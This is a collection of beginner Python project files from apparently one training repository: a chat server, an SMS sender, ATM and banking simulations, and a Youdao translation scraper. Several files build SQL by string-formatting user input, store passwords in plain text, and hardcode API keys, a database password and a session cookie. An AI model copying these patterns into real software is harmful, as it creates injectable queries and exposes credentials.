friend_list.append(\"%s:%s\" % (i[0], i[1]))\n return friend_list\n else:\n return \"NF\"\n\n def query_chatroom(self, name):\n '''\n View room and return to the list of room.\n '''\n # statment_get_id = 'select id from %s where username=\"%s\"' %\\\n # (self.userinfo, name)\n # cid = self.connect_to_DB(statment_get_id)[0]\n # statment_isexist = 'select id from %s where user_id=\\\n # (select id from %s where usernam=\"%s\")' % (\n # self.chatroom, self.userinfo, name)\n # res = self.connect_to_DB(statment_isexist)\n\n statment = 'select %s.chatroom_name from %s where %s.id=any(\\\n select %s.chatroom_id from %s where %s.user_id=(select id\\\n from %s where %s.username=\"%s\"));' % (\n self.chatroom, self.chatroom, self.chatroom,\n self.chatroomuser, self.chatroomuser, self.chatroomuser,\n self.userinfo, self.userinfo, name)\n res = self.connect_to_DB(statment)\n\n if res:\n chatroom_list = []\n for i in res:\n print(i)\n chatroom_list.append(\"%s:%s\" % (\"群\", i[0]))\n return chatroom_list\n else:\n return \"NF\"\n" }, { "alpha_fraction": 0.5458377003669739, "alphanum_fraction": 0.5706006288528442, "avg_line_length": 26.91176414489746, "blob_id": "aa14ac468dab3028304aab29950bff1d881e476c", "content_id": "bb99aab3c119f440c461ca52945f50214697b495", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2422, "license_type": "permissive", "max_line_length": 73, "num_lines": 68, "path": "/py-basis/发短信平台/互亿无线/互亿无线.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 将互亿无线封装成类\n@Time : 2018/8/10 下午6:43\n@Author : 北冥神君\n@File : 互亿无线.py\n@Software: PyCharm\n\"\"\"\n\n# 接口类型:互亿无线触发短信接口,支持发送验证码短信、订单通知短信等。\n# 账户注册:请通过该地址开通账户http://sms.ihuyi.com/register.html\n# 注意事项:\n# (1)调试期间,请使用用系统默认的短信内容:您的验证码是:【变量】。请不要把验证码泄露给其他人。;\n# (2)请使用APIID(查看APIID请登录用户中心->验证码短信->产品总览->APIID)及 APIkey来调用接口;\n# (3)该代码仅供接入互亿无线短信接口参考使用,客户可根据实际需要自行编写;\n\n\nimport http.client\nfrom urllib import parse\n\n\n# 用户名是登录用户中心->验证码短信->产品总览->APIID\naccount = \"C87336934\"\n# 密码 查看密码请登录用户中心->验证码短信->产品总览->APIKEY\npassword = \"cd7b71fa7464c7f27b728b67b78e5f30\"\n\n\nclass Send(object):\n def __init__(self, account, password):\n '''\n :param account: APIID\n :param password: APIKEY\n '''\n self.account = account\n self.password = password\n self.host = '106.ihuyi.com'\n self.sms_send_uri = '/webservice/sms.php?method=Submit'\n self.headers = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n \"Accept\": \"text/plain\"}\n\n def send_sms(self, mobile, text):\n \"\"\"\n 发送短信\n :param mobile: 手机号码\n :param text: 内容\n :return: str\n \"\"\"\n params = parse.urlencode({'account': self.account,\n 'password': self.password,\n 'content': text,\n 'mobile': mobile,\n 'format': 'json'})\n conn = http.client.HTTPConnection(self.host, port=80, timeout=30)\n conn.request(\"POST\", self.sms_send_uri, params, self.headers)\n response = conn.getresponse()\n response_str = response.read()\n conn.close()\n return response_str\n\nif __name__ == '__main__':\n mobile = \"18535812780\"\n text = \"您的验证码是:121254。请不要把验证码泄露给其他人。\"\n sen = Send(account, password)\n result = sen.send_sms(mobile, text)\n print(result)\n" }, { "alpha_fraction": 0.5906862616539001, "alphanum_fraction": 0.6004902124404907, "avg_line_length": 26.066667556762695, "blob_id": "4bbe954d8c3cc7584f38b0c0bc038f7e36c45bb5", "content_id": "13dd2b15f022fd74ac707f7b4ed3cd03cd50d3bd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "permissive", "max_line_length": 69, "num_lines": 15, "path": "/py-basis/树状目录层级/infoWindows.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\n# -*- coding:utf-8 -*-\nimport tkinter\n\nclass InfoWindows(tkinter.Frame):\n def __init__(self, master):\n frame = tkinter.Frame(master)\n frame.grid(row=0, column=1)\n\n self.entryVar = tkinter.Variable()\n self.entry = tkinter.Entry(frame, textvariable=self.entryVar)\n self.entry.pack()\n\n self.txt = tkinter.Text(frame)\n self.txt.pack()\n\n\n" }, { "alpha_fraction": 0.38646191358566284, "alphanum_fraction": 0.4000298082828522, "avg_line_length": 36.99418640136719, "blob_id": "28a0f0c02fc34e1ba4b85bc9ba5c9e2868d372bd", "content_id": "6ff5632d83ff7c08937ff515c83f420541b795c5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7401, "license_type": "permissive", "max_line_length": 120, "num_lines": 172, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Control/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n'''\r\n定义ATM机\r\n 属性:钱数、账号、密码、是否可用\r\n 行为:检验卡信息、取款、存款、转账、改密、锁卡、解锁、挂失、销户、开户\r\n\r\n'''\r\n\r\nclass ATM(object):\r\n #初始化***********************************************************\r\n def __init__(self):\r\n self.money = 0\r\n self.isActive = True\r\n\r\n\r\n # 检验登陆信息*****************************************************\r\n def check_login(self, db, card_id, passwd):\r\n if card_id != \"\" and passwd != \"\":\r\n c = db.cursor()\r\n res1 = c.execute(\"select count() from card where id=%s\" % card_id)\r\n if res1.fetchone()[0] != 1:\r\n return \"卡号不存在\"\r\n else:\r\n res2 = c.execute(\"select * from card where id=%s\" % card_id)\r\n res2_info = res2.fetchone()\r\n if res2_info[3] > 0: # 判断卡的状态\r\n if passwd == res2_info[1]: # 如果密码正确\r\n return \"1:\" + str(res2_info[0]) + \":\" + str(res2_info[1]) + \":\" + str(res2_info[2]) + \":\" + str(\r\n res2_info[3])\r\n else:\r\n c.execute(\"update card set status = status-1 where id=%s\" % res2_info[0])\r\n db.commit() # 别忘了这一步\r\n return \"密码错误,还有%d次输入机会\" % (int(res2_info[3]) - 1)\r\n else:\r\n return \"卡被锁定\"\r\n else:\r\n return \"请输入内容\"\r\n\r\n\r\n # 取款/存款********************************************************\r\n def Withdraw_money(self, db, card_id, money, type1):\r\n if card_id != \"\" and money != \"\":\r\n c = db.cursor()\r\n # 取款\r\n if type1 == 1:\r\n res1 = c.execute(\"select money from card where id = %s\" % card_id)\r\n all_money = res1.fetchone()[0] # 获取查到的钱数\r\n if all_money >= money:\r\n res2 = c.execute(\"UPDATE card set money = money -%d where id=%s\" % (money, card_id))\r\n db.commit()\r\n if res2.rowcount != 1: # 返回执行成功的行数\r\n return \"操作失败\"\r\n else:\r\n return \"余额不足\"\r\n # 存款\r\n elif type1 == 2:\r\n res2 = c.execute(\"UPDATE card set money = money +%d where id=%s\" % (money, card_id))\r\n db.commit()\r\n if res2.rowcount != 1: # 返回执行成功的行数\r\n return \"操作失败\"\r\n # 把记录插入到日志\r\n c.execute(\"insert into loginfo(cardId,type,money) values ('%s','%s','%s')\" % (card_id, type1, money))\r\n db.commit()\r\n return 1\r\n\r\n return \"输入有误\"\r\n\r\n\r\n # 转账************************************************************\r\n def Transfer_money(self, db, card_id1, card_id2, money):\r\n if card_id1 != \"\" and money != \"\" and card_id2 != \"\":\r\n c = db.cursor()\r\n # 取款\r\n res1 = c.execute(\"select money from card where id = %s\" % card_id1)\r\n all_money = res1.fetchone()[0] # 获取查到的钱数\r\n if all_money >= money:\r\n res2 = c.execute(\"UPDATE card set money = money -%d where id=%s\" % (money, card_id1))\r\n db.commit()\r\n else:\r\n return \"余额不足\"\r\n # 存款\r\n res2 = c.execute(\"UPDATE card set money = money +%d where id=%s\" % (money, card_id2))\r\n db.commit()\r\n if res2.rowcount != 1: # 返回执行成功的行数\r\n return \"转账失败\"\r\n # 把记录插入到日志\r\n c.execute(\"insert into loginfo(cardId,type,money) values ('%s',3,'%s')\" % (card_id1, money))\r\n db.commit()\r\n return 1\r\n\r\n return \"输入有误\"\r\n\r\n\r\n # 改密************************************************************\r\n def Repasswd(self, db, card_id, new_passwd):\r\n if new_passwd != \"\":\r\n c = db.cursor()\r\n res1 = c.execute(\"update card set passwd = %s where id =%s\" % (new_passwd, card_id))\r\n db.commit()\r\n if res1.rowcount == 1: # 返回执行成功的行数\r\n return \"修改成功\"\r\n else:\r\n return \"修改失败\"\r\n return \"输入有误\"\r\n\r\n\r\n # 锁卡、挂失*******************************************************\r\n def Lock_card(self, db, card_id):\r\n if card_id != \"\":\r\n c = db.cursor()\r\n res1 = c.execute(\"update card set status = 0 where id =%s\" % card_id)\r\n db.commit()\r\n if res1.rowcount == 1: # 返回执行成功的行数\r\n return \"操作成功\"\r\n else:\r\n return \"操作失败\"\r\n return \"卡号不能为空\"\r\n\r\n\r\n # 销户************************************************************\r\n def delete_card(self, db, card_id):\r\n if card_id != \"\":\r\n c = db.cursor()\r\n res1 = c.execute(\"delete from card where id =%s\" % card_id)\r\n db.commit()\r\n if res1.rowcount == 1: # 返回执行成功的行数\r\n return \"操作成功\"\r\n else:\r\n return \"操作失败\"\r\n return \"卡号不能为空\"\r\n\r\n\r\n # 开户************************************************************\r\n def add_user(self, db, username, idcard, tel, passwd):\r\n if username != \"\" and idcard != \"\" and tel != \"\" and passwd != \"\":\r\n c = db.cursor()\r\n res1 = c.execute(\"select count() from user where Idcard =%s\" % idcard)\r\n if res1.rowcount != 1: # 如果数据库中没有用户,就把信息插进去\r\n c.execute(\"insert into user (name,Idcard,tel) values('%s','%s','%s')\" % (username, idcard, tel))\r\n db.commit()\r\n # 注册新卡\r\n res2 = c.execute(\"insert into card(passwd,money) values (%s,0)\" % passwd)\r\n db.commit()\r\n if res2.rowcount == 1:\r\n res3 = c.execute(\"select id from card ORDER BY id desc limit 1\")\r\n return res3.fetchone()[0]\r\n\r\n return \"信息不能为空\"\r\n\r\n\r\n # 解锁************************************************************\r\n def re_clock(self, db, username, idcard, tel, cardid):\r\n if username != \"\" and idcard != \"\" and tel != \"\" and cardid != \"\":\r\n c = db.cursor()\r\n res = c.execute(\"select * from user where idcard = %s\" % idcard)\r\n info = res.fetchone()\r\n if info != None:\r\n # print(info[1],info[3])\r\n # print(username,tel)\r\n if info[1] == username and info[3] == tel:\r\n res2 = c.execute(\"update card set status=3 where id=%s\" % cardid)\r\n db.commit()\r\n if res2.rowcount != 1:\r\n return \"操作失败\"\r\n else:\r\n return \"验证通过,解锁成功\"\r\n else:\r\n return \"信息不匹配,解锁失败\"\r\n else:\r\n return \"用户不存在\"\r\n\r\n return \"信息不能为空\"\r\n" }, { "alpha_fraction": 0.47358888387680054, "alphanum_fraction": 0.5146393179893494, "avg_line_length": 42.52631759643555, "blob_id": "75e0272e1dc1d0966685abfb825abff6ae005d15", "content_id": "89d51fd9e036c9bdb4b9836629a08cedd1124fe1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3595, "license_type": "permissive", "max_line_length": 264, "num_lines": 76, "path": "/py-basis/有道翻译桌面版/youdaofanyi.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "'''\nThe data of:2018/03/16\nauthor:北冥神君\ncontent:实现有道翻译实现翻译\nLast update time:2018/03/16\nversion:1.0\n'''\n#导入模块\nimport requests #网络请求模块\nimport time #时间模块\nimport random #随机模块\nimport hashlib #哈希加密模块\n#面向对象编程\nclass YoudaoTranslation:\n def __init__(self):\n self.url = 'http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule' #翻译接口\n #反爬\n self.header = {'Host': 'fanyi.youdao.com',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:58.0) Gecko/20100101 Firefox/58.0',\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n 'Accept-Encoding': 'gzip, deflate',\n 'Referer': 'http://fanyi.youdao.com/',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Content-Length': '201',\n 'Cookie': 'YOUDAO_MOBILE_ACCESS_TYPE=1; OUTFOX_SEARCH_USER_ID=154739022@10.169.0.84; JSESSIONID=aaaEHwB7WYj7-9S0nnSiw; ___rl__test__cookies=1521160027414; OUTFOX_SEARCH_USER_ID_NCOO=2132109642.9472575; fanyi-ad-id=41685; fanyi-ad-closed=1',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n 'Cache-Control': 'no-cache'}\n\n #翻译函数\n def get_fanyi(self,text):\n self.data = self.get_js(text)\n self.response = requests.post(url=self.url, data=self.data, headers=self.header)\n if len(self.response.json()) ==4:\n print('翻译原文===>:',self.response.json()['translateResult'][0][0]['tgt'])\n print('译文结果===>:', self.response.json()['translateResult'][0][0]['src'])\n print('\\n')\n #打印完整的解释\n for i in range(1,len(self.response.json()['smartResult']['entries'])):\n print('译文解释',i,'===>:',self.response.json()['smartResult']['entries'][i])\n else:print('未找到翻译')\n\n # js加密参数解法\n def get_js(self,i):\n self.content = i\n self.u = 'fanyideskweb'\n self.d = self.content#查询文本内容\n self.timekey = str(int(time.time() * 1000) + random.randint(1, 10))#时间戳+随机数\n self.c = 'ebSeFb%=XZ%T[KZ)c(sy!' #2.1版本钥匙'aNPG!!u6sesA>hBAW1@(-'使用3.0版本钥匙可用.D : \"ebSeFb%=XZ%T[KZ)c(sy!\"\n self.key = hashlib.md5((self.u + self.d + self.timekey + self.c).encode('utf-8')).hexdigest()#加密数据\n #构造表单数据\n self.form = {'action':'FY_BY_REALTIME',\n 'client':'fanyideskweb',\n 'doctype':'json',\n 'from':'AUTO',\n 'i':self.content,\n 'keyfrom':'fanyi.web',\n 'salt':self.timekey,\n 'sign':self.key,\n 'smartresult':'dict',\n 'to':'AUTO',\n 'typoResult':'false',\n 'version':'2.1'\n }\n return self.form\n\n#本模块测试\nif __name__ == '__main__':\n while True:\n query = YoudaoTranslation()\n text = input(\"(按Q退出本程序)请输入你的要翻译的文本:\\n\")\n if text == 'Q':\n break\n query.get_fanyi(text)\n\n\n\n\n\n" }, { "alpha_fraction": 0.5180180072784424, "alphanum_fraction": 0.522522509098053, "avg_line_length": 25, "blob_id": "83c8ed3710a1004d02fea99438eb975ecd3a4a8b", "content_id": "9a0a0dd1afb8d725842e133ead2fcce4a3896d2d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "permissive", "max_line_length": 46, "num_lines": 8, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/card.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nclass Card(object):\r\n def __init__(self, cardId, passwd, money):\r\n self.cardId = cardId\r\n self.passwd = passwd\r\n self.money = money\r\n self.isLock = False\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5342789888381958, "alphanum_fraction": 0.6028369069099426, "avg_line_length": 15.920000076293945, "blob_id": "6b0449a6637a70d608c47f4b8c026059239c5fe4", "content_id": "025f77f367b5aee5a0f02623be4bfd18c9548e98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "permissive", "max_line_length": 43, "num_lines": 25, "path": "/py-basis/QQ简易版/server/setting.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 配置一些全局变量,比如数据库信息。\n@Time : 2018/8/20 上午8:51\n@Author : 北冥神君\n@File : setting.py\n@Software: PyCharm\n\"\"\"\n\nfrom enum import Enum\n\n\nclass Stetting(Enum):\n\n # mysql配置\n MYSQL_HOST = 'localhost'\n MYSQL_PORT = 3306\n MYSQL_USERNAME = 'root'\n MYSQL_PASSWORD = 'qq8455682' # 密码修改这里\n\n #server 配置\n SORKET_IP = '10.0.122.224'\n SORKET_PORT = '4444'\n" }, { "alpha_fraction": 0.46379896998405457, "alphanum_fraction": 0.48040884733200073, "avg_line_length": 25.20930290222168, "blob_id": "4fe7449888b43bd45dbe76e6274b7e08ab6bcb87", "content_id": "78fc42dde4756dcd73929850c7fabe26f3caca8e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2452, "license_type": "permissive", "max_line_length": 53, "num_lines": 86, "path": "/py-basis/各组银行系统带界面/第七组/main1.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom bank import Bank\r\nfrom atm import ATM\r\nfrom atminitview import View\r\nimport os\r\nimport pickle\r\n\r\n#创建银行对象\r\n\r\natmMachine = ATM()\r\nview = View()\r\natmMachine.money = 10000\r\nfipath = os.path.join(os.getcwd(), \"alluser.txt\")\r\nf = open(fipath, \"rb\")\r\nallusers = pickle.load(f)\r\nBank().usersDict = allusers\r\ndef main():\r\n # 展示开机界面\r\n while True:\r\n view.welcome()\r\n optionStr = view.adminview()\r\n if optionStr == \"11\":\r\n res = atmMachine.checkPasswd()\r\n if not res:\r\n # 循环进入欢迎界面\r\n welcome()\r\n elif optionStr == \"22\":\r\n f = open(fipath, \"wb\")\r\n pickle.dump(Bank().usersDict, f)\r\n f.close()\r\n break\r\n elif optionStr == \"33\":\r\n atmMachine.addMoney()\r\n elif optionStr == \"44\":\r\n atmMachine.changeAtmPasswd()\r\n\r\ndef welcome():\r\n while True:\r\n # 接收操作\r\n optionStr = view.userview()\r\n # 匹配操作\r\n if optionStr == \"111\":\r\n # 循环进入操作界面\r\n res = atmMachine.checkCard()\r\n if res:\r\n option(res[0], res[1])\r\n elif optionStr == \"222\":\r\n atmMachine.createCard()\r\n elif optionStr == \"333\":\r\n atmMachine.new_card()\r\n elif optionStr == \"444\":\r\n view.error(\"返回开机界面……\")\r\n break\r\n\r\ndef option(user, card):\r\n while True:\r\n # 接收操作\r\n optionStr = view.optionsView()\r\n # 匹配操作\r\n if optionStr == \"1\":\r\n atmMachine.searchCard(card)\r\n elif optionStr == \"2\":\r\n atmMachine.transfer_accounts(card)\r\n elif optionStr == \"3\":\r\n atmMachine.deposit(card)\r\n elif optionStr == \"4\":\r\n atmMachine.withdrawal(card)\r\n elif optionStr == \"5\":\r\n if atmMachine.change_password(card) == 0:\r\n break\r\n else:\r\n continue\r\n elif optionStr == \"6\":\r\n if atmMachine.logout(user, card) == 0:\r\n break\r\n else:\r\n continue\r\n elif optionStr == \"7\":\r\n atmMachine.lock(user, card)\r\n elif optionStr == \"8\":\r\n atmMachine.unlock(user, card)\r\n elif optionStr == \"9\":\r\n break\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.397543340921402, "alphanum_fraction": 0.40454596281051636, "avg_line_length": 28.890071868896484, "blob_id": "ec5131d66d73030d5d07f2e344ef303b2115f05b", "content_id": "a5ee71947efbf931b8cf961bc1962dd76ab7efa7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10293, "license_type": "permissive", "max_line_length": 66, "num_lines": 282, "path": "/py-basis/银行系统/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom bank import Bank\r\nfrom user import User\r\nfrom card import Card\r\n\r\nimport random\r\n\r\nclass ATM(object):\r\n def __init__(self):\r\n self.account = \"1\"\r\n self.passwd = \"1\"\r\n self.money = 0\r\n self.isActive = True\r\n\r\n def atmInitView(self):\r\n return \"\"\" \r\n 登陆 关机\r\n \r\n 提额 改密 \r\n \"\"\"\r\n def welcomeView(self):\r\n return \"\"\" Welcome to Tan bank \r\n \r\n 插卡 开户 \r\n \r\n 补卡 返回 \r\n \"\"\"\r\n def optionsView(self, name, cardId):\r\n print(\"================================================\")\r\n print(\"= 用户名:%s 卡号:%s \"%(name, cardId))\r\n print(\"= 查询(1) 转账(2) \")\r\n print(\"= 存款(3) 取款(4) \")\r\n print(\"= 改密(5) 注销(6) \")\r\n print(\"= 锁定(7) 解锁(8) \")\r\n print(\"= 退卡(9) \")\r\n print(\"================================================\")\r\n\r\n def checkPasswd(self,account,passwd):\r\n # account = input(\"请输入系统账号:\")\r\n # passwd = input(\"请输入系统密码:\")\r\n if account != self.account or passwd != self.passwd:\r\n\r\n return 1 , \"账号或密码错误\"\r\n else:\r\n return 0, \"系统设置成功,正在启动……\"\r\n #关机\r\n def shutDown(self):\r\n #数据持久化\r\n print(\"正在保存数据……\")\r\n #提额\r\n def addMoney(self,money):\r\n # money = int(input(\"请输入提额额度:\"))\r\n self.money += money\r\n return \"提额成功!!\"\r\n if not self.isActive:\r\n self.isActive = True\r\n\r\n def changeAtmPasswd(self,passwd, passwd1, passwd2):\r\n # passwd = input(\"请输入原始密码:\")\r\n if passwd != self.passwd:\r\n return \"密码错误,修改失败\"\r\n else:\r\n # passwd1 = input(\"请输入新密码:\")\r\n # passwd2 = input(\"请输验证密码:\")\r\n if passwd1 != passwd2:\r\n return \"两次密码不同,修改失败\"\r\n else:\r\n self.passwd = passwd1\r\n return \"系统密码修改成功\"\r\n #开户\r\n def createCard(self):\r\n idCard = input(\"请输入您的身份证号:\")\r\n #验证是否存在该用户\r\n bankSys = Bank()\r\n\r\n user = bankSys.usersDict.get(idCard)\r\n\r\n if not user:\r\n #用户不存在,需要创建用户\r\n name = input(\"请输入您的姓名:\")\r\n phone = input(\"请输入您的手机号:\")\r\n user = User(name, idCard, phone)\r\n # 存入系统\r\n\r\n bankSys.usersDict[idCard] = user\r\n\r\n\r\n #开卡\r\n #设置密码\r\n passwd1 = input(\"请设置密码:\")\r\n #验证密码\r\n if self.inputPasswd(passwd1):\r\n print(\"三次密码验证错误,开卡失败\")\r\n return\r\n money = float(input(\"输入预存款:\"))\r\n cardId = self.getCardId()\r\n card = Card(cardId,passwd1,money)\r\n user.cardsDict[cardId] = card\r\n\r\n print(\"开卡成功!请牢记卡号:%s\"%(cardId))\r\n\r\n\r\n #插卡\r\n def checkCard(self):\r\n cardId = input(\"输入您的卡号:\")\r\n #找到用户和用户的卡\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card in user.cardsDict.items():\r\n if key == cardId:\r\n #找到卡了,验证密码了\r\n if self.inputPasswd(card.passwd):\r\n card.isLock = True\r\n print(\"三次密码错误,该卡被锁定!!\")\r\n return 0\r\n print(\"请稍后……\")\r\n return user, card\r\n print(\"卡号不存在……\")\r\n return 0\r\n\r\n #补卡\r\n def reisse(self):\r\n idCard = input(\"请输入身份证号:\")\r\n bankSys = Bank()\r\n for idCard1, user in bankSys.usersDict.items():\r\n if idCard == idCard1:\r\n print(\"您的名下有%d张卡\" % (len(user.cardsDict)))\r\n for key, card in user.cardsDict.items():\r\n print(\"卡号为:%s\"%(key))\r\n\r\n cardid = input(\"请输入要补办的卡号:\")\r\n\r\n if cardid in user.cardsDict:\r\n\r\n passwd1 = input(\"请设置密码:\")\r\n # 验证密码\r\n if self.inputPasswd(passwd1):\r\n print(\"三次密码验证错误,补卡失败\")\r\n return\r\n money =user.cardsDict[cardid].money\r\n cardId = self.getCardId()\r\n card = Card(cardId, passwd1, money)\r\n user.cardsDict[cardId] = card\r\n print(\"补卡成功!请牢记卡号:%s\" % (cardId))\r\n del user.cardsDict[cardid]\r\n return\r\n else:\r\n print(\"您的名下没有此卡\")\r\n return\r\n\r\n\r\n print(\"您还没开户!!\")\r\n\r\n\r\n\r\n #查询\r\n def searchCard(self, card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n print(\"卡号:%s 余额:%.2f\"%(card.cardId, card.money))\r\n #存款\r\n def deposit(self, card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n money = float(input(\"输入存款金额:\"))\r\n self.money += money\r\n card.money += money\r\n print(\"存款成功!余额:%.2f\"%card.money)\r\n #取款\r\n def withdrawal(self, card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n money = float(input(\"输入取款金额:\"))\r\n if money > card.money:\r\n print(\"卡内余额不足……\")\r\n elif money > self.money:\r\n print(\"提款机余额不足……\")\r\n else:\r\n self.money -= money\r\n card.money -= money\r\n print(\"取款成功!余额:%.2f\" % card.money)\r\n\r\n #解锁\r\n def unlock(self, user, card):\r\n if not card.isLock:\r\n print(\"该卡未被锁定,无需解锁操作!\")\r\n else:\r\n idCard = input(\"输入身份证号:\")\r\n if idCard != user.idCard:\r\n print(\"身份证验证失败,解锁失败!!\")\r\n else:\r\n card.isLock = False\r\n print(\"解锁成功,可以继续其他操作!\")\r\n\r\n #修改密码\r\n def changepasswd(self,card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n if not self.inputPasswd(card.passwd):\r\n\r\n passwd1 = input(\"请输入新密码:\")\r\n passwd2 = input(\"请输验证密码:\")\r\n if passwd1 != passwd2:\r\n print(\"两次密码不同,修改失败\")\r\n else:\r\n card.passwd = passwd1\r\n print(\"系统密码修改成功\")\r\n return 0\r\n else:\r\n print(\"密码验证错误!!\")\r\n\r\n\r\n #注销\r\n def logout(self,card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n if not self.inputPasswd(card.passwd):\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card1 in user.cardsDict.items():\r\n if key == card.cardId:\r\n del user.cardsDict[key]\r\n print(\"账户注销成功\")\r\n return 0\r\n print(\"您还没有开户!!!\")\r\n\r\n else:\r\n print(\"密码验证错误!!\")\r\n\r\n #锁定\r\n def lock(self, user, card):\r\n\r\n idCard = input(\"输入身份证号:\")\r\n if idCard != user.idCard:\r\n print(\"身份证验证失败,锁定失败!!\")\r\n else:\r\n card.isLock = True\r\n print(\"锁定成功!\")\r\n\r\n #转账\r\n def transfer(self, card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n else:\r\n tran_cardid = input(\"请输入转入卡号:\")\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card1 in user.cardsDict.items():\r\n if key == tran_cardid:\r\n money = float(input(\"请输入转账金额:\"))\r\n if not self.inputPasswd(card.passwd):\r\n if money > card.money:\r\n print(\"卡内余额不足……\")\r\n else:\r\n card.money -= money\r\n card1.money += money\r\n print(\"转账成功!!\")\r\n return\r\n print(\"输入账号不存在!!\")\r\n\r\n\r\n\r\n\r\n #输入密码,并与真实密码进行比对,比对成功返回0,否则返回1\r\n def inputPasswd(self, realPasswd):\r\n for i in range(3):\r\n passwd = input(\"请输入密码:\")\r\n if passwd == realPasswd:\r\n #验证成功\r\n return 0\r\n return 1\r\n #随机获取一个卡号\r\n def getCardId(self):\r\n arr = \"0123456789\"\r\n cardId = \"\"\r\n for i in range(6):\r\n cardId += random.choice(arr)\r\n return cardId\r\n" }, { "alpha_fraction": 0.533711850643158, "alphanum_fraction": 0.5461320281028748, "avg_line_length": 27.46464729309082, "blob_id": "e0d67c618153627131fb115f83cf00507e7b2e56", "content_id": "ce7ae6ac2b47f8c840ffa8744ea97860542e7c4b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2854, "license_type": "permissive", "max_line_length": 86, "num_lines": 99, "path": "/py-basis/QQ简易版/server/chat_msg.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 聊天处理模块\n@Time : 2018/8/19 下午9:33\n@Author : 北冥神君\n@File : chat_msg.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom . import memory, common_handler\n\n\ndef userchat_handler(msg):\n send_time = msg[1].decode()\n target_user = msg[2].decode()\n from_user = msg[3]\n message = msg[4].decode()\n _online_flag = 1\n for _u in memory.online_user:\n if memory.online_user[_u][0] == target_user:\n # user online\n _online_flag = 0\n _time = send_time.encode()\n _message = message.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.on_new_message, from_user, _time, _message)\n _u.send(serializeMessage)\n # _u.send(b\"hello\")\n break\n\n # Save message to database.\n from_user = from_user.decode()\n memory.db.save_msg(from_user, target_user, _online_flag, 1, message)\n\n\ndef unread_msg_handler(c, user):\n res = memory.db.get_unread_msg(user)\n if not res:\n return\n for r in res:\n uid = r[0]\n utime = r[1]\n utype = r[2]\n umsg = r[3].encode()\n\n uname = memory.db.get_username_by_id(uid)[0].encode()\n time = (\"%s年%s月%s日 %s时%s分%s秒\" % (\n utime.year, utime.month, utime.day,\n utime.hour, utime.minute, utime.second)).encode()\n\n if utype == 1:\n # Normal msg.\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.on_new_message, uname, time, umsg)\n c.send(serializeMessage)\n\n elif utype == 2:\n # Broadcast.\n pass\n elif utype == 3:\n # Add friend request.\n request_user = uname\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.add_friend_request, request_user)\n c.send(serializeMessage)\n elif utype == 4:\n # Chatroom msg.\n pass\n\n\ndef chatroom_handler(s, msg):\n send_time = msg[1]\n chatroom_name = msg[2].decode()\n from_user = msg[3]\n message = msg[4]\n users = memory.db.get_chatroom_user(chatroom_name)\n 